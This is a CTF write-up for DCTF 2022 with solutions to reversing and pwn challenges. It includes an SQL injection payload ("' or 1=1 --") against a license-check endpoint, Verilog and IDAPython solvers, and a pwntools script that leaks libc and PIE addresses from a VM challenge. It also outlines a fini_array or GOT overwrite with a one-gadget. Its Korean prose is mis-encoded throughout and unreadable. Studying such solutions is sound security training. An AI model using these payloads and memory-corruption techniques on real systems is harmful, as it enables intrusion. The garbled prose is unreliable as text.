๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
CTF

(CTF) DCTF 2022 writeup

by snwo 2022. 4. 19.

difficulty: ๐Ÿฉธ๐Ÿฉธ
rank: 11
writeup: rev(3)/pwn(1)

 

์˜์–ด๋กœ ๊ฐ„์ง€๋‚˜๊ฒŒ ์ ์–ด์„œ blog.snwo.fun ์— ์˜ฌ๋ฆฌ๋ ค ํ–ˆ๋Š”๋ฐ, 

๊ทธ๋ƒฅ ๊ท€์ฐฎ์•„์„œ ๋กธ์—… ๋ช‡๊ฐœ ์ ์–ด๋ณธ๋‹ค

 

Glade ๋Š” idapython ๋ง๊ณ  Qiling ์ด๋ผ๋Š” analyze framework ๋กœ๋„ ํ’€ ์ˆ˜ ์žˆ๋Š”๋ฐ ์‹ ๊ธฐํ•˜๋‹ˆ๊นŒ ๋‚˜์ค‘์— ๊ณต๋ถ€ํ•ด๋ด์•ผ์ง•

 

Eulers License ( ๐Ÿฉธ 200 pt, 41 solve )

TL;DR : simple sqli, guessing prime

ํŒŒ์›Œ์‰˜ ์Šคํฌ๋ฆฝํŠธ ํ•˜๋‚˜ ์ฃผ์–ด์ง€๋Š”๋ฐ,

์—ด์–ด๋ณด๋ฉด ์œ—๋ถ€๋ถ„์€ ์‰˜ ์Šคํฌ๋ฆฝํŠธ๊ณ , ์•„๋žซ์ชฝ์€ ํŒŒ์›Œ์‰˜ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋‚˜๋ˆ ์ ธ ์žˆ๋‹ค.

shell script : data ๋ฅผ base64 ๋””์ฝ”๋”ฉ ํ•œ ํ›„, /tmp/(random filename) ์— ํŒŒ์ด์ฌํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค.

powershell script : data ๋ฅผ base64 ๋””์ฝ”๋”ฉ ํ•œ ํ›„, $env:TEMP\(random filename) ์— exe ํŒŒ์ผ์„ ๋งŒ๋“ ๋‹ค.

python file

@app.route("/license_check")
def licenseCheck():

    con = sqlite3.connect("file:ctf.db?mode=ro")
    cur = con.cursor()
    try:
        lice = request.args.get("license_key")
        query = "SELECT * FROM license_keys WHERE license_key = '" + lice + "';"

        cur.execute(query)
        res = cur.fetchall()

        cur.close()
        con.close()
    except Exception as e:
        cur.close()
        con.close()
        return str(e), 500

    return str(res)

๋ฌธ์ œ ์„œ๋ฒ„๊ฐ€ ์žˆ๋Š”๋ฐ, /license_check ์— ์ ‘์†ํ•ด์„œ ' or 1=1 -- ์ž…๋ ฅํ•˜๋ฉด ํ”Œ๋ž˜๊ทธ ๋’ท์ž๋ฆฌ๋ฅผ ์ค€๋‹ค.

_python_is_easy_to_reverse}

binary file

BOOL __cdecl sub_401080(char *Str)
{
  size_t v2; // eax
  char v3[4]; // [esp+0h] [ebp-8h] BYREF
  int i; // [esp+4h] [ebp-4h]

  if ( strlen(Str) != 10 )
    return 0;
  sub_401400(Str, Format, (char)v3);
  for ( i = 2; i < *(int *)v3; ++i )
  {
    if ( !(*(_DWORD *)v3 % i) )
      return 0;
  }
  v2 = strlen(::Str);
  return !strncmp(Str, Str2, v2) && sub_401000(Str, a47);
}

exe ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๋ฉด, ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›๋Š”๋ฐ,

10์ž๋ฆฌ๋กœ ์ž˜๋ผ์„œ ์ •์ˆ˜ํ™” ํ•œ ๋’ค, ์œ„ ํ•จ์ˆ˜์˜ ๋ฆฌํ„ด๊ฐ’์ด True ์ด๋ฉด, ํŠน์ • ๋ฐ์ดํ„ฐ์™€ xor ํ•ด์„œ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

์กฐ๊ฑด : 21 ์œผ๋กœ ์‹œ์ž‘ํ•ด์„œ, 47 ๋กœ ๋๋‚˜๋Š” 10์ž๋ฆฌ ์†Œ์ˆ˜

์ฝ”๋“œ๋ฅผ ๋Œ๋ ค๋ณด๋‹ˆ๊นŒ ๊ฒฝ์šฐ์˜ ์ˆ˜๊ฐ€ ๋„ˆ๋ฌด๋งŽ๋‹ค..

๊ทผ๋ฐ ๋ญ”๊ฐ€ ์ต์ˆ™ํ•œ ์ˆซ์ž๋ผ์„œ int ์ตœ๋Œ€๊ฐ’ ์„ ์ž…๋ ฅํ•ด ๋ดค๋”๋‹ˆ flag๊ฐ€ ๋งž์•˜๋‹ค.

โฏ ./binary
Enter eulers license key: 2147483647
dctf{2147483647
Failed to contact euler.dragonsec.si for license confirmation...

flag : dctf{2147483647_python_is_easy_to_reverse}

ShittyTPM ( ๐Ÿฉธ 300 pt, 11 solve )

TL;DR : Verilog lang

binary

std::cout << "Enter Password: " << std::endl;
    std::string line;
    std::getline(std::cin, line);
    if(line.length() < 8)
    {
        std::cout << "Input too short" << std::endl;
        return 0;
    }
    // This is just pseudocode, for security
    // Kerckhoffs law is stupid anyway
    tpm = new EasyTPM;
    tpm->reset();
    for(int i = 0; i < 8; i++)
    {
        tpm->sendChar(line[i]); // This sends one character to the TPM
    }

    if(tpm->lock == 1)
    {
        std::cout << "Good job, you got it!" << std::endl;
        std::cout << "DUMMY_FLAG" << std::endl;
    }
    else
    {
        std::cout << "The vault is closed, try harder next time" << std::endl;
    }

์„œ๋ฒ„์—์„œ ๋Œ์•„๊ฐ€๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ์†Œ์Šค์ฝ”๋“œ์ด๋‹ค.

8๊ธ€์ž ์ž…๋ ฅํ•ด์„œ sendChar ์œผ๋กœ ์ž…๋ ฅ๊ฐ’์„ ๋ณด๋‚ธ ๋’ค, lock ๋ณ€์ˆ˜๊ฐ€ 1์ด๋ฉด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค.

์ด EasyTPM ์ด๋ž€๊ฒŒ ๋ญ”์ง€ ๋ชจ๋ฅด ์ž˜ ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ, verilog ์–ธ์–ด๋กœ ๋งŒ๋“ค์–ด์ง„ ๋ฐ”์ด๋„ˆ๋ฆฌ ๊ฐ™๋‹ค.

tpm.v ์— ์ž…๋ ฅ๊ฐ’ ์ฒดํฌํ•˜๋Š” ๋ฃจํ‹ด์ด ์žˆ๋‹ค.

tpm.v

`timescale 1ns / 1ps

module TPM(clk, rst, data, lock);

input clk;
input rst;
input [7:0] data;
output lock;

reg [55:0] state;

initial state = 56'd0;
integer counter;
initial counter = 0;

assign lock = out == desired_value;

wire [55:0] key = 56'hdc35849333c6a8;

wire [55:0] out = rearranged ^ key;

wire [55:0] desired_value = 56'h781494ac201977;

always @(posedge clk) begin
    if (rst == 1'b1) begin
        state <= 56'b0;
        counter <= 0;
    end
    else begin
        if(counter < 8) begin
            state[(7 * counter)+: 7] <= data[6:0];
            counter <= counter + 1;
        end
    end
end

wire [55:0] rearranged;

assign rearranged = {
    state[21:13],
    state[40:32],
    state[52:50],
    state[25:22],
    state[42:41],
    state[55:53],
    state[4:0],
    state[31:26],
    state[49:43],
    state[12:5]
};

endmodule

์ด๋Ÿฐ ์†Œ์Šค์ด๋‹ค. ์ž…๋ ฅ๊ฐ’์€ 7๋น„ํŠธ์”ฉ state ์— ๋“ค์–ด๊ฐ€๊ณ ,

rearranged state ^ key == desired_value

์œ„ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•ด์•ผํ•œ๋‹ค.

๊ทธ๋ ‡๊ฐ€๋ฉด, key ^ desired_value ๋ฅผ ์žฌ๋ฐฐ์น˜ ํ•˜๊ธฐ๋งŒ ํ•˜๋ฉด ๋œ๋‹ค.

verilog ๋ฌธ์„œ๋ฅผ ์ฝ์–ด๋ณธ ํ›„, google ctf ์—์„œ ๊ด€๋ จ ๋กธ์—…์„ ์ฝ์–ด๋ดค๋‹ค.

๋น„ํŠธ ์ˆœ์„œ๋งŒ ์ž˜ ์•Œ๋ฉด ์‰ฝ๊ฒŒ ์žฌ๋ฐฐ์น˜ํ•ด์„œ ์˜ฌ๋ฐ”๋ฅธ ์ž…๋ ฅ๊ฐ’์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค.

    else begin
        if(counter < 8) begin
            state[(7 * counter)+: 7] <= data[6:0];
            counter <= counter + 1;
        end
    end
end

state[(7 * counter)+: 7] <= data[6:0] ์ผ๋‹จ ์ด ๋ถ€๋ถ„์—์„œ, state[0:7], state[7:14] ์ด๋Ÿฐ์‹์œผ๋กœ state ์˜ ์ธ๋ฑ์Šค๊ฐ€ ์ฐธ์กฐ๋˜๊ณ , data[6:0] ๊ฐ€ ๋“ค์–ด๊ฐ€๋Š”๋ฐ, ์ฐธ์กฐ ์ˆœ์„œ๊ฐ€ ๋‹ฌ๋ผ ๋น„ํŠธ๊ฐ€ ๊ฑฐ๊พธ๋กœ ๋“ค์–ด๊ฐ„๋‹ค. ์ด์  ์œ ์˜

data[6:0] → ํŒŒ์ด์ฌ์—์„œ data[0:7] ์œผ๋กœ ์ดํ•ดํ•˜๋ฉด ๋˜๊ฒ ๋‹ค.

assign rearranged = {
    state[21:13], 
    state[40:32], 
    state[52:50], 
    state[25:22], 
    state[42:41], 
    state[55:53], 
    state[4:0], 
    state[31:26], 
    state[49:43], 
    state[12:5]
};

xor ๋œ ๊ฐ’์„, 2์ง„์ˆ˜๋กœ ๋ฐ”๊พผ ๋’ค 8, 9, 3, 4 .. ์ด๋ ‡๊ฒŒ ์ž๋ฅธ ๋‹ค์Œ ์›๋ž˜ ์ž๋ฆฌ๋กœ ๋„ฃ๋Š”๋‹ค.

๊ทธ๋ฆฌ๊ณ  ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ •๋ ฌํ•œ ๋ฐฐ์—ด์„ ์—ญ์ˆœ์œผ๋กœ ๋Œ๋ฆฌ๊ณ ,

7๋น„ํŠธ์”ฉ ์ž˜๋ผ์„œ ๋ฌธ์žํ™” ํ•œ ๋’ค ๋‹ค์‹œ ๋Œ๋ฆฌ๋ฉด ์˜ฌ๋ฐ”๋ฅธ ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ๋‚˜์˜จ๋‹ค.

solve.py

key=0xdc35849333c6a8

out=0x781494ac201977

flag=key^out

d=format(flag,'b')
ar=[
    d[:9],
    d[9:18],
    d[18:21],
    d[21:25],
    d[25:27],
    d[27:30],
    d[30:35],
    d[35:41],
    d[41:48],
    d[48:56]
]

rev=[2,5,8,3,6,9,0,4,7,1]
table={}
for i,j in enumerate(rev):
    table[i]=j
rev_ar=[0]*10
for k in table:
    rev_ar[table[k]]=ar[k]
rev_ar=rev_ar[::-1]
b=format(int(''.join(rev_ar),2),'056b')
f=''
for i in range(0,len(b),7):
    f+=chr(int(b[i:i+7],2))
print(f[::-1])

Glade ( ๐Ÿฉธ๐Ÿฉธ 400 pt, 11 solve )

TL;DR : IDA Python, backtracking

https://blog.ugonfor.kr/148?category=833395

midnightsun CTF 2021 ์˜ labyrevnt ๋ฌธ์ œ๋ž‘ ๋น„์Šทํ–ˆ๋‹ค.

main ์—์„œ ์ตœ๋Œ€ 100์งœ๋ฆฌ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ๋ฐ›๊ณ , ์ฒซ ๋ฒˆ์งธ ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

__int64 __fastcall sub_113F(__int64 func, char *input, __int64 something)
{
  char v5; // [rsp+2Bh] [rbp-15h]
  int v6; // [rsp+2Ch] [rbp-14h]
  int v7; // [rsp+30h] [rbp-10h]

  sub_112A(sub_113F, func, something, 30LL);
  v5 = *input;
  v6 = 0;
  v7 = 0;
  if ( *input == 'U' )
  {
    v6 = -1;
  }
  else
  {
    switch ( v5 )
    {
      case 'R':
        v7 = 1;
        break;
      case 'D':
        v6 = 1;
        break;
      case 'L':
        v7 = -1;
        break;
    }
  }
  return ((sub_113F + 30 * something * v6 + something * v7))(sub_113F, input + 1, something);
}

์ด๋ ‡๊ฒŒ ์ƒ๊ธด ํ•จ์ˆ˜๊ฐ€ 0x113f ๋ถ€ํ„ฐ 0x314F7 ๊นŒ์ง€ ์žˆ๋Š”๋ฐ,

์—ฌ๊ธฐ์„œ ์ฒ˜์Œ์œผ๋กœ ํ˜ธ์ถœํ•˜๋Š” ํ•จ์ˆ˜๊ฐ€ ๊ฒ€์ฆํ•จ์ˆ˜๋กœ, ์ด ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ–ˆ์„ ๋•Œ

์ด์ „ ๋ฌธ์ž๋ฅผ ๊ฒ€์ฆํ•œ๋‹ค

๊ฒ€์ฆํ•จ์ˆ˜๋กœ left_right ์„ ์‚ฌ์šฉํ•œ๋‹ค ํ–ˆ์„ ๋•Œ, ์ด ํ•จ์ˆ˜๋ฅผ L ๋˜๋Š” R ๋กœ ํ˜ธ์ถœํ•ด์•ผํ•œ๋‹ค๋Š” ๊ฒƒ์„ ๋งํ•œ๋‹ค.

์•ˆ๊ทธ๋Ÿฌ๋ฉด exit ํ•จ์ˆ˜๋กœ ์ข…๋ฃŒ

์ฒซ ํ•จ์ˆ˜์—์„œ๋Š” ๋ชจ๋“ ๊ฒŒ ํ—ˆ์šฉ๋œ๋‹ค. ๊ทผ๋ฐ L ๋˜๋Š” U ์ž…๋ ฅํ•˜๋ฉด OOB ๊ฐ€ ํ„ฐ์ง‘๋‹ˆ๋‹ค.

๊ฒ€์ฆํ•จ์ˆ˜๋Š” ์œ„์™€ ๊ฐ™๋‹ค. D ๋งŒ ๋˜๋Š” ๊ฒƒ๋„ ์žˆ๊ณ , D L ๋งŒ ๋˜๋Š” ๊ฒƒ.. ์ด๋Ÿฐ์‹์œผ๋กœ

๋ฌธ์ž๋ฅผ ํ•˜๋‚˜์”ฉ ๊ฐ€์ ธ์™€ U, D, R, L ๋งˆ๋‹ค ํ˜ธ์ถœํ•˜๋Š” ๋‹ค์Œ ํ•จ์ˆ˜๊ฐ€ ๋‹ค๋ฅด๋‹ค.

U -> ํ˜„์žฌํ•จ์ˆ˜ + 30 * -1  * 220 
D -> ํ˜„์žฌํ•จ์ˆ˜ + 30 * 1 * 220 
R -> ํ˜„์žฌํ•จ์ˆ˜ + 220 * 1
L -> ํ˜„์žฌ ํ•จ์ˆ˜ + 220 - 1

๋‹ค์Œ ํ•จ์ˆ˜๋ฅผ 2์ฐจ์› ๋ฐฐ์—ด์ฒ˜๋Ÿผ ์ ‘๊ทผํ•œ๋‹ค.

์ด ํ•จ์ˆ˜๋“ค ์‚ฌ์ด์˜ offset ์„ ๊ณ„์‚ฐํ•ด ๋ณด๋‹ˆ, ๋ชจ๋‘ 220 ์œผ๋กœ ๋™์ผํ–ˆ๋‹ค.

๋Œ€์ถฉ ์ด๋ ‡๊ฒŒ 2์ฐจ์› ๋ฐฐ์—ด์•ˆ์— ํ•จ์ˆ˜๋“ค์ด ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•ด๋ณด์ž.

ํ˜„์žฌ ์œ„์น˜์—์„œ ๋™์„œ๋‚จ๋ถ์— ํ•ด๋‹นํ•˜๋Š” ํ•จ์ˆ˜๋“ค์— ๋Œ€ํ•ด OOB ์ฒดํฌ๋ฅผ ํ•œ ๋’ค, ๊ฒ€์ฆํ•จ์ˆ˜๋ฅผ ๋ถˆ๋Ÿฌ์˜จ๋‹ค.

ํ•ด๋‹น ๋ฐฉํ–ฅ ํ•จ์ˆ˜์˜ ๊ฒ€์ฆํ•จ์ˆ˜๋ฅผ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ์„ ๋•Œ, ํ˜„์žฌ ์ด๋™๋ฐฉํ–ฅ์„ ff ๋ฐฐ์—ด์— ๋„ฃ๊ณ 

์žฌ๊ท€ํ˜ธ์ถœํ•œ๋‹ค. (๋ฐฑํŠธ๋ ˆํ‚น ์•Œ๊ณ ๋ฆฌ์ฆ˜ ์‚ฌ์šฉ)

print("="*0x30)
start=0x113F
end=get_name_ea_simple("cat_flag")

#U D R L
rev={
    "U":"D",
    "D":"U",
    "R":"L",
    "L":"R"
}
x={
    "U":-1,
    "D":1,
    "R":0,
    "L":0
}
y={
    "U":0,
    "D":0,
    "R":1,
    "L":-1
}

ff=[""]*1000
chks={
    0x112a:["D","R"],
    get_name_ea_simple("down"):["D"],
    get_name_ea_simple("left"):["L"],
    get_name_ea_simple("right"):["R"],
    get_name_ea_simple("up"):["U"],

    get_name_ea_simple("down_left"):["D","L"],
    get_name_ea_simple("down_up"):["D","U"],
    get_name_ea_simple("left_up"):["L","U"],
    get_name_ea_simple("down_right"):["D","R"],
    get_name_ea_simple("left_right"):["L","R"],
    get_name_ea_simple("up_right"):["U","R"],

    get_name_ea_simple("no_right"):["U","D","L"],
    get_name_ea_simple("no_left"):["U","D","R"],
    get_name_ea_simple("no_down"):["U","L","R"],
    get_name_ea_simple("no_up"):["D","L","R"],
    get_name_ea_simple("fine"):["D","L","R","U"],
}

def get_chk_func(addr):
    chk=-1
    f=ida_funcs.get_func(addr)
    if f==None:
        return chk
    for ea in Heads(f.start_ea,f.end_ea):
        if print_insn_mnem(ea)=="call":
            chk=get_operand_value(ea,0)
            break
    return chk

def OOB(addr):
    n_func=ida_funcs.get_func(addr)
    try:
        if addr - 0x113F >=0 and\
            addr-0x113f <=end and\
            (addr-0x113f)%220 ==0:
            return 1
    except:
        return 0
    return 0

def back(idx,addr,prev):

#    if idx==101:
 #       return

    if addr == end:
        print(f"yaho {''.join(ff)}")
        return

    for d in ['U','R','D','L']:
        if prev == rev[d]: # ๋ฐฉ๊ธˆ ์™”๋˜ ๊ณณ์œผ๋กœ ๋Œ์•„๊ฐ€์ง€ ์•Š๊ฒŒ
            continue

        next = addr+30*x[d]*220+y[d]*220
        chk=get_chk_func(next)

        if OOB(next)!=0 and chk in chks.keys():
            #print(f"{idx} : {prev} -> {d} -> {chks[chk]} {hex(next)}")
            if d in chks[chk]:
                ff[idx]=d
                back(idx+1,next,d)
                ff[idx]=''




back(0,start,'')

์ด๊ฑธ๋กœ๋„ ํ’€๋ฆฌ๊ณ , ์ด๋ ‡๊ฒŒ ํ’€๋ฉด ๊ฒฝ์šฐ์˜ ์ˆ˜๊ฐ€ ๋„ˆ๋ฌด ๋งŽ์„ ๊ฒƒ ๊ฐ™์•„์„œ cat_flag ํ•จ์ˆ˜๋ถ€ํ„ฐ start ํ•จ์ˆ˜๊นŒ์ง€ ์—ญ์œผ๋กœ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๋Š” ๋ฐฑํŠธ๋ ˆํ‚น ์•Œ๊ณ ๋ฆฌ์ฆ˜์œผ๋กœ ํ’€์—ˆ๋‹ค.

solve.py


print("="*0x30) # ์ถœ๋ ฅ ๊ตฌ๋ถ„
start=0x113F
end=get_name_ea_simple("cat_flag")

#U D R L
rev={
    "U":"D",
    "D":"U",
    "R":"L",
    "L":"R"
}
x={
    "U":-1,
    "D":1,
    "R":0,
    "L":0
}
y={
    "U":0,
    "D":0,
    "R":1,
    "L":-1
}

ff=[""]*101
chks={
    0x112a:["D","R"],
    get_name_ea_simple("down"):["D"],
    get_name_ea_simple("left"):["L"],
    get_name_ea_simple("right"):["R"],
    get_name_ea_simple("up"):["U"],

    get_name_ea_simple("down_left"):["D","L"],
    get_name_ea_simple("down_up"):["D","U"],
    get_name_ea_simple("left_up"):["L","U"],
    get_name_ea_simple("down_right"):["D","R"],
    get_name_ea_simple("left_right"):["L","R"],
    get_name_ea_simple("up_right"):["U","R"],

    get_name_ea_simple("no_right"):["U","D","L"],
    get_name_ea_simple("no_left"):["U","D","R"],
    get_name_ea_simple("no_down"):["U","L","R"],
    get_name_ea_simple("no_up"):["D","L","R"],
    get_name_ea_simple("fine"):["D","L","R","U"],
}

def get_chk_func(addr):
    chk=-1
    f=ida_funcs.get_func(addr)
    for ea in Heads(f.start_ea,f.end_ea):
        if print_insn_mnem(ea)=="call":
            chk=get_operand_value(ea,0)
            break
    return chk

def OOB(addr):
    n_func=ida_funcs.get_func(addr)
    if n_func!=None and n_func.start_ea == addr\
        and (addr-0x113f)%220==0:
        return 1
    return 0

def back(idx,addr,prev):

    if idx==100:
        return

    if addr == start:
        print(f"yaho {''.join(ff)[::-1]}")

    chk=get_chk_func(addr)
    flags=chks[chk][:]
    #print(f"{idx} : {flags} {prev}")
    for f in flags:
        if f == prev:
            continue
        nxt = addr+30*x[rev[f]]*220+y[rev[f]]*220 # ์ด๋™๊ฐ€๋Šฅ ๋ฐฉํ–ฅ์˜ ๋ฐ˜๋Œ€๋กœ์ด๋™
                                                  # ์ด๋™๊ฐ€๋Šฅ ๋ฐฉํ–ฅ์œผ๋กœ ์ด ํ˜„์žฌ ํ•จ์ˆ˜์— ๋„์ฐฉํ•˜๊ธฐ ๋•Œ๋ฌธ 
        if OOB(nxt):
            ff[idx]=f
            back(idx+1,nxt,rev[f])
            ff[idx]=''


back(0,end,'U') # cat flag ํ•จ์ˆ˜๋Š” right ๋งŒ ํ—ˆ์šฉ๋˜๋ฏ€๋กœ  prev right ์ œ์™ธํ•œ  ์•„๋ฌด๊ฑฐ๋‚˜ ๋„ฃ์–ด์คŒ

end ํ•จ์ˆ˜ (cat_flag) ๋ถ€ํ„ฐ ๊ฒ€์ฆํ•จ์ˆ˜์— ํ†ต๊ณผํ•˜๋Š” ๋ฐฉํ–ฅ์˜ ์—ญ๋ฐฉํ–ฅ์œผ๋กœ ์žฌ๊ท€ํ˜ธ์ถœํ•ด์•ผํ•œ๋‹ค.

(ex : cat_flag ํ•จ์ˆ˜๋Š” R ๋กœ ๋“ค์–ด์™€์•ผ ํ•˜๋ฏ€๋กœ, L ์œผ๋กœ ์ด๋™)

vmstation ( ๐Ÿฉธ๐Ÿฉธ๐Ÿฉธ 500pt, 5 solve)

TL;DR : vm, ubuntu 22.04 libc gadget (fini_array)

got ์— ์žˆ๋Š” ์ฃผ์†Œ ์•„๋ฌด๊ฑฐ๋‚˜ ๋ฐฐ์—ด์— ๋•ก๊ฒจ์™€์„œ sha256 ํ•˜์œ„ 4๋ฐ”์ดํŠธ, ์ƒ์œ„ 2๋ฐ”์ดํŠธ

๋ชจ๋“ˆ๋Ÿฌ๋กœ ๋‚˜๋ˆ ์„œ ๋ธŒํฌ. MSB ๊ฐ€ 1์ด๋ฉด, ๋ชจ๋“ˆ๋Ÿฌ ์—ฐ์‚ฐ ํ•  ๋•Œ ์ƒ์œ„๋น„ํŠธ๊ฐ€ 1๋กœ ์ฑ„์›Œ์ ธ์„œ

sprintf ํ•  ๋•Œ %d ๋ฅผ ์“ฐ๊ธฐ ๋•Œ๋ฌธ์— ์Œ์ˆ˜๊ฐ€ ๋‚˜์˜จ๋‹ค.

๊ทธ๋ž˜์„œ ์Œ์ˆ˜๋ฒ”์œ„๋ถ€ํ„ฐ 2๋ฐ”์ดํŠธ ๋ธŒ๋ฃจํŠธํฌ์Šคํ•ด์„œ 0xffff ๋ž‘ and ์—ฐ์‚ฐ ํ•ด์ฃผ๋ฉด ๋œ๋‹ค.

๊ทธ ๋ฐ‘์— pie ๋„ ์žˆ๋Š”๋ฐ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ๊ตฌํ•˜๋ฉด ๋œ๋‹ค.

AAW ํ•œ ๋ฒˆ์˜ ๊ธฐํšŒ๊ฐ€ ์žˆ์ง€๋งŒ, ubuntu 22.04 ์—ฌ์„œ hook ์ด ๋ง‰ํ˜€์„œ ๋‹ค๋ฅธ ๊ฐ€์ ฏ์„ ์ด์šฉํ•ด์•ผํ•œ๋‹ค.

์ „์—ญ๋ฐฐ์—ด์— ์›์ƒท ๊ฐ€์ ฏ์„ ์ ๊ณ , libc ์˜ fini_array ์— ์ „์—ญ๋ฐฐ์—ด์˜ ์ฃผ์†Œ๋ฅผ ๋„ฃ์œผ๋ฉด ๋œ๋‹ค.

fini_array ๋Š” ์ฃผ์–ด์ง„ ๋„์ปค๋ฅผ ๋Œ๋ฆฐ๋‹ค์Œ, process ์— attach ํ•ด์„œ ์˜คํ”„์…‹์„ ๊ตฌํ•˜๋ฉด ์ •ํ™•ํžˆ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

๋˜๋Š” puts ํ•จ์ˆ˜์—์„œ libc ๋‚ด์— strlen@plt ๋ฅผ ํ˜ธ์ถœํ•˜๋Š”๋ฐ, strlen@got ์ด libc ์•ˆ์˜ rw ์˜์—ญ์— ์žˆ์œผ๋ฏ€๋กœ,

์ด๊ฑฐ ๋ฎ์–ด๋„ ๋œ๋‹ค.

from pwn import *
from hashlib import sha256
context.log_level = "debug"

slog=lambda x,y:log.info(":".join([x,hex(y)]))

def crack(h,prev,b,c):
    for j in range(-0xffff,0xffff+1):
        txt=f"{prev|(j<<c)},{b},"+'0,'*14
        # print(txt.encode())
        if sha256(txt.encode()).hexdigest().encode()==h:
            if j>0:
                return j
            else:
                return j&0xffff
payload = \
    b'\x0b\x00\x00\xee'+\
    b'\x03\x01'+\
    b'\x0f\x00\x00\x01'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xee'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xed'+\
    b'\x06'+\
    b'\x03\x00\x03\x01'+\
    b'\x0b\x00\x00\xf2'+\
    b'\x03\x01'+\
    b'\x0f\x00\x00\x01'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xf2'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xf3'+\
    b'\x06'


f = open("./test","wb")
f.write(payload)
f.close()

r = process(['./vmstation','./test'])


def leak():
    cracked=0
    r.sendline(str(2**16).encode())
    h=r.recvline().strip()
    cracked=crack(h,cracked,2**16,0)
    r.sendline(str(0).encode())
    h=r.recvline().strip()
    cracked|=crack(h,cracked,2**16,16)<<16
    r.sendline(str(0).encode())

    cracked2=0

    h=r.recvline().strip()
    cracked2=crack(h,cracked2,2**16,0)

    return cracked|(cracked2<<32)
libc=leak()
r.sendline(str(0).encode())
r.sendline(str(0).encode())
pie=leak()

slog('libc',libc)
slog('pie',pie)

log.info(str(r.pid))
pause()





r.interactive()

leak ํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ๋งŒ ์ž‘์„ฑํ•˜๊ณ , ์ต์Šค๋Š” ๋‹ค๋ฅธํŒ€์›์ด ์ž‘์„ฑํ•ด์„œ ์†Œ์Šค๊ฐ€ ์—…๋‹น